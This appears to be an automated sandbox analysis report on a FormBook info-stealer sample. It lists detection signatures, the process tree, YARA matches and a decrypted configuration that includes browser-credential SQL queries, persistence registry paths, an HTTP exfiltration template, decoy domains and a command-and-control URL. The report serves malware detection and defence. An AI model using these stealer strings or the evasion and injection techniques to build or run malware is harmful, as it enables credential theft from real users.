Play interactive tour

Edit tour

Analysis Report SecuriteInfo.com.Trojan.Packed2.42783.14936.6333

Overview

General Information

Sample Name:	SecuriteInfo.com.Trojan.Packed2.42783.14936.6333 (renamed file extension from 6333 to exe)
Analysis ID:	344595
MD5:	25fcc01067cabbf5d1aa3a2f8b18ed50
SHA1:	9f45d2e8e415ab38f42e4edb9b503ce82fed2402
SHA256:	ba4721d93c056ef1763667732344fdc82066d71f0003e18ad03f6d93307b82fe
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Yara detected FormBook

Allocates memory in foreign processes

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to launch a process as a different user

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Yara signature match

Classification

Startup

System is w10x64

SecuriteInfo.com.Trojan.Packed2.42783.14936.exe (PID: 5980 cmdline: 'C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe' MD5: 25FCC01067CABBF5D1AA3A2F8B18ED50)

AddInProcess32.exe (PID: 6476 cmdline: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe MD5: F2A47587431C466535F3C3D3427724BE)

explorer.exe (PID: 3424 cmdline: MD5: AD5296B280E8F522A8A897C96BAB0E1D)

mstsc.exe (PID: 3476 cmdline: C:\Windows\SysWOW64\mstsc.exe MD5: 2412003BE253A515C620CE4890F3D8F3)

cmd.exe (PID: 5992 cmdline: /c del 'C:\Users\user\AppData\Local\Temp\AddInProcess32.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 7116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

explorer.exe (PID: 2896 cmdline: explorer.exe MD5: AD5296B280E8F522A8A897C96BAB0E1D)

WerFault.exe (PID: 7108 cmdline: C:\Windows\system32\WerFault.exe -u -p 3424 -s 8832 MD5: 2AFFE478D86272288BBEF5A00BBEF6A0)

SearchUI.exe (PID: 960 cmdline: 'C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe' -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca MD5: C4A9ACE9CDB9E5DB7CBA996CFA9EA7A2)

SearchUI.exe (PID: 6652 cmdline: 'C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe' -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca MD5: C4A9ACE9CDB9E5DB7CBA996CFA9EA7A2)

cleanup

Malware Configuration

Threatname: FormBook

{"Config: ": ["CONFIG_PATTERNS 0x99bf", "KEY1_OFFSET 0x1e3ca", "CONFIG SIZE : 0xcd", "CONFIG OFFSET 0x1e4d3", "URL SIZE : 26", "searching string pattern", "strings_offset 0x1cfa3", "searching hashes pattern", "--------------------------------------------------", "Decrypted Function Hashes", "--------------------------------------------------", "0x3a0289d", "0xf43668a6", "0x980476e5", "0x35a6d50c", "0xf89290dc", "0x94261f57", "0x7d54c891", "0x47cb721", "0xf72d719b", "0x9f715010", "0xbf0a5e41", "0x2902d074", "0xf653b199", "0xc8c42cc6", "0x2e1b7599", "0x210d4d07", "0x6d2a7921", "0x8ea85a2f", "0x207c50ff", "0xb967410a", "0x1eb17415", "0xb46802f8", "0x11da8518", "0xf42ed5c", "0x2885a3d3", "0x445675fa", "0x5c289b4c", "0x40ede5aa", "0xf24946a2", "0x8559c3e2", "0xb9d34d23", "0xa14d0a19", "0x2d07bbe2", "0xbbd1d68c", "0xb28c29d4", "0x3911edeb", "0xefad046d", "0xa0605497", "0xf5529cbf", "0x5507576a", "0xfa2467c8", "0x5b6423bf", "0xe22409b9", "0xde1eba2", "0xae847e2", "0xa8cfcc9", "0x26fc2c69", "0x5d8a75ac", "0x22eb3474", "0x2b37c918", "0x79402007", "0x7544791c", "0x641b2c94", "0x1db04ecf", "0xf5d02cd8", "0xad011e04", "0x6206e716", "0x5e4b9b9a", "0xe4e2f5f4", "0x54c93159", "0x25ea79b", "0x5bf29119", "0xd6507db", "0x32ffc9f8", "0xe4cfab72", "0x98db5380", "0xce4cc542", "0x3092a0a2", "0x66053660", "0x2607a133", "0xfcd014b1", "0x80b41d4", "0x4102ad8d", "0x857bf6a6", "0xd3ec6064", "0x23145fc4", "0xc026698f", "0x8f5385d8", "0x2430512b", "0x3ebe9086", "0x4c6fddb5", "0x276db13e", "0xe00f0a8e", "0x85cf9404", "0xb2248784", "0xcdc7e023", "0x11f5f50", "0x1dd4bc1c", "0x8235fce2", "0x21b17672", "0xbba64d93", "0x2f0ee0d8", "0x9cb95240", "0x28c21e3f", "0x9347ac57", "0x9d9522dc", "0x911bc70e", "0x74443db9", "0xf04c1aa9", "0x6484bcb5", "0x11fc2f72", "0x2b44324f", "0x9d70beea", "0x59adf952", "0x172ac7b4", "0x5d4b4e66", "0xed297eae", "0xa88492a6", "0xb21b057c", "0x70f35767", "0xb6f4d5a8", "0x67cea859", "0xc1626bff", "0xb4e1ae2", "0x24a48dcf", "0xe11da208", "0x1c920818", "0x65f4449c", "0xc30bc050", "0x3e86e1fb", "0x9e01fc32", "0x216500c2", "0x48e207c9", "0x2decf13e", "0x19996921", "0xb7da3dd7", "0x47f39d2b", "0x6777e2de", "0xd980e37f", "0x963fea3b", "0xacddb7ea", "0x110aec35", "0x647331f3", "0x2e381da4", "0x50f66474", "0xec16e0c0", "0xf9d81a42", "0xd6c6f9db", "0xef3df91", "0x60e0e203", "0x7c81caaf", "0x71c2ec76", "0x25e431cc", "0x106f568f", "0x6a60c8a9", "0xb758aab3", "0x3b34de90", "0x700420f5", "0xee359a7e", "0xd1d808a", "0x47ba47a5", "0xff959c4c", "0x5d30a87d", "0xaa95a900", "0x80b19064", "0x9c5a481a", "0x1dd252d", "0xdb3055fc", "0xe0cf8bf1", "0x3a48eabc", "0xf0472f97", "0x4a6323de", "0x4260edca", "0x53f7fb4f", "0x3d2e9c99", "0xf6879235", "0xe6723cac", "0xe184dfaa", "0xe99ffaa0", "0xf6aebe25", "0xefadf9a5", "0x215de938", "0x757906aa", "0x84f8d766", "0xb6494f65", "0x13a75318", "0x5bde5587", "0xe9eba2a4", "0x6b8a0df3", "0x9c02f250", "0xe52a2a2e", "0xdb96173c", "0x3c0f2fc", "0xd45e157c", "0x4edd1210", "0x2b127ce0", "0xadc887b6", "0xf45a1c52", "0xc84869d7", "0x36dc1f04", "0x50c2a508", "0x3e88e8bf", "0x4b6374a6", "0x72a93198", "0x85426977", "0xea193e11", "0xea653007", "0xe297c9c", "0x65399e87", "0x23609e75", "0xb92e8a5a", "0xabc89476", "0xd989572f", "0x4536ab86", "0x3476afc1", "0xaf24a63b", "0x393b9ac8", "0x414a3c70", "0x487e77f4", "0xbee1bdf6", "0xc30c49a6", "0xcb591d7f", "0x5c4ee455", "0x7c81c71d", "0x11c6f95e", "--------------------------------------------------", "Decrypted Strings", "--------------------------------------------------", "USERNAME", "LOCALAPPDATA", "USERPROFILE", "APPDATA", "TEMP", "ProgramFiles", "CommonProgramFiles", "ALLUSERSPROFILE", "/c copy \"", "/c del \"", "\\Run", "\\Policies", "\\Explorer", "\\Registry\\User", "\\Registry\\Machine", "\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion", "Office\\15.0\\Outlook\\Profiles\\Outlook\\", " NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", "\\SOFTWARE\\Mozilla\\Mozilla ", "\\Mozilla", "Username: ", "Password: ", "formSubmitURL", "usernameField", "encryptedUsername", "encryptedPassword", "\\logins.json", "\\signons.sqlite", "\\Microsoft\\Vault\\", "SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins", "\\Google\\Chrome\\User Data\\Default\\Login Data", "SELECT origin_url, username_value, password_value FROM logins", ".exe", ".com", ".scr", ".pif", ".cmd", ".bat", "ms", "win", "gdi", "mfc", "vga", "igfx", "user", "help", "config", "update", "regsvc", "chkdsk", "systray", "audiodg", "certmgr", "autochk", "taskhost", "colorcpl", "services", "IconCache", "ThumbCache", "Cookies", "SeDebugPrivilege", "SeShutdownPrivilege", "\\BaseNamedObjects", "config.php", "POST ", " HTTP/1.1", "", "Host: ", "", "Connection: close", "", "Content-Length: ", "", "Cache-Control: no-cache", "", "Origin: http://", "", "User-Agent: Mozilla Firefox/4.0", "", "Content-Type: application/x-www-form-urlencoded", "", "Accept: */*", "", "Referer: http://", "", "Accept-Language: en-US", "", "Accept-Encoding: gzip, deflate", "", "dat=", "f-start", "whatchicken.com", "sarayatalk.com", "madammomala.info", "himizoli.pro", "korobkapaket.ltda", "amd-investissement.com", "southerneclipse2024.com", "g2vies.com", "roseyogacoach.com", "allprounlimted.com", "medicaresbenefit.com", "castagno.info", "showcertificates.com", "cheapcraftbeer.com", "roxorsuperstore.info", "ossierugs.com", "honeyandtuelle.com", "wotulove.com", "infomgt.net", "pinknadeboutique.com", "tophamfardy.com", "henry-app.com", "power2bank.com", "estivalconsultancy.com", "anyagenxy.com", "woomentrend.com", "cherishfloraldesign.com", "euroqq.info", "techologytestinginc.com", "jokerwirewheels.com", "bucklandnewton.net", "owldrinktothat.com", "laceystrucking.com", "englishprotips.com", "0852qcw.com", "joebowmanforlafayette.com", "mystrandnews.com", "1980vallejo.com", "miramelfruits.com", "jollfree.com", "renttoowngenius.com", "nepali-rudraksha.com", "chloeboinnot.com", "doitimpex.online", "edu4go.com", "gvanmp.com", "furnacerepairtacoma.net", "myfreecopyright.info", "listenmelody.com", "cbothwelltest2020081703.com", "bblfz.com", "baanboosakorn.com", "ancident.com", "serenityhomedits.com", "distinctivewearstore.com", "qianyin1b.com", "ywf-lishui.com", "luohu666.com", "studiocitylandscapedesigner.com", "thesunchronical.com", "6pbusiness.com", "shortsscape.com", "nbgurki.com", "smoothsailingexpress.com", "f-end", "--------------------------------------------------", "Decrypted CnC URL", "--------------------------------------------------", "www.theprintshop.ink/bsl/\u0000"]}

Yara Overview

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Explorer.EXE_7abfb1f1fbdbd7c2322150249348b63f54b8a170_10665708_1ba816b7\Report.wer	SUSP_WER_Critical_HeapCorruption	Detects a crashed application that crashed due to a heap corruption error (could be a sign of exploitation)	Florian Roth	0xd6:$a1: ReportIdentifier= 0x158:$a1: ReportIdentifier= 0x63a:$a2: .Name=Fault Module Name 0x7e8:$s1: c0000374

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.1028284186.0000000000A30000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.1028284186.0000000000A30000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.1028284186.0000000000A30000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.1027686906.00000000008F0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.1027686906.00000000008F0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.1027686906.00000000008F0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000002.721927497.0000000001090000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.721927497.0000000001090000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.721927497.0000000001090000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.686008623.0000000003DFA000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.686008623.0000000003DFA000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x96a0:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x991a:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xbfbe2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xbfe5c:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xed4c2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xed73c:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x11ad92:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x11b00c:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x1543d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xcb97f:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xf925f:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x126b2f:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14f29:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xcb46b:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xf8d4b:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x12661b:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x1553f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xcba81:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xf9361:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x126c31:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x156b7:$sequence_4: 5D C3 8D 50 7C 80 FA 07
00000000.00000002.686008623.0000000003DFA000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x181c1:$sqlite3step: 68 34 1C 7B E1 0x182d4:$sqlite3step: 68 34 1C 7B E1 0xce703:$sqlite3step: 68 34 1C 7B E1 0xce816:$sqlite3step: 68 34 1C 7B E1 0xfbfe3:$sqlite3step: 68 34 1C 7B E1 0xfc0f6:$sqlite3step: 68 34 1C 7B E1 0x1298b3:$sqlite3step: 68 34 1C 7B E1 0x1299c6:$sqlite3step: 68 34 1C 7B E1 0x181f0:$sqlite3text: 68 38 2A 90 C5 0x18315:$sqlite3text: 68 38 2A 90 C5 0xce732:$sqlite3text: 68 38 2A 90 C5 0xce857:$sqlite3text: 68 38 2A 90 C5 0xfc012:$sqlite3text: 68 38 2A 90 C5 0xfc137:$sqlite3text: 68 38 2A 90 C5 0x1298e2:$sqlite3text: 68 38 2A 90 C5 0x129a07:$sqlite3text: 68 38 2A 90 C5 0x18203:$sqlite3blob: 68 53 D8 7F 8C 0x1832b:$sqlite3blob: 68 53 D8 7F 8C 0xce745:$sqlite3blob: 68 53 D8 7F 8C 0xce86d:$sqlite3blob: 68 53 D8 7F 8C 0xfc025:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.686170457.0000000003F66000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.686170457.0000000003F66000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9f12:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xa18c:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x377d0:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x37a4a:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15caf:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x4356d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x1579b:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x43059:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15db1:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x4366f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x15f29:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x437e7:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xaba4:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x38462:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x14a16:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x422d4:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb89d:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x3915b:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b951:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x4920f:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c954:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.686170457.0000000003F66000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18a33:$sqlite3step: 68 34 1C 7B E1 0x18b46:$sqlite3step: 68 34 1C 7B E1 0x462f1:$sqlite3step: 68 34 1C 7B E1 0x46404:$sqlite3step: 68 34 1C 7B E1 0x18a62:$sqlite3text: 68 38 2A 90 C5 0x18b87:$sqlite3text: 68 38 2A 90 C5 0x46320:$sqlite3text: 68 38 2A 90 C5 0x46445:$sqlite3text: 68 38 2A 90 C5 0x18a75:$sqlite3blob: 68 53 D8 7F 8C 0x18b9d:$sqlite3blob: 68 53 D8 7F 8C 0x46333:$sqlite3blob: 68 53 D8 7F 8C 0x4645b:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000002.722073173.00000000010C0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.722073173.00000000010C0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.722073173.00000000010C0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: WerFault.exe PID: 7108	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 20 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.AddInProcess32.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
1.2.AddInProcess32.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
1.2.AddInProcess32.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
1.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
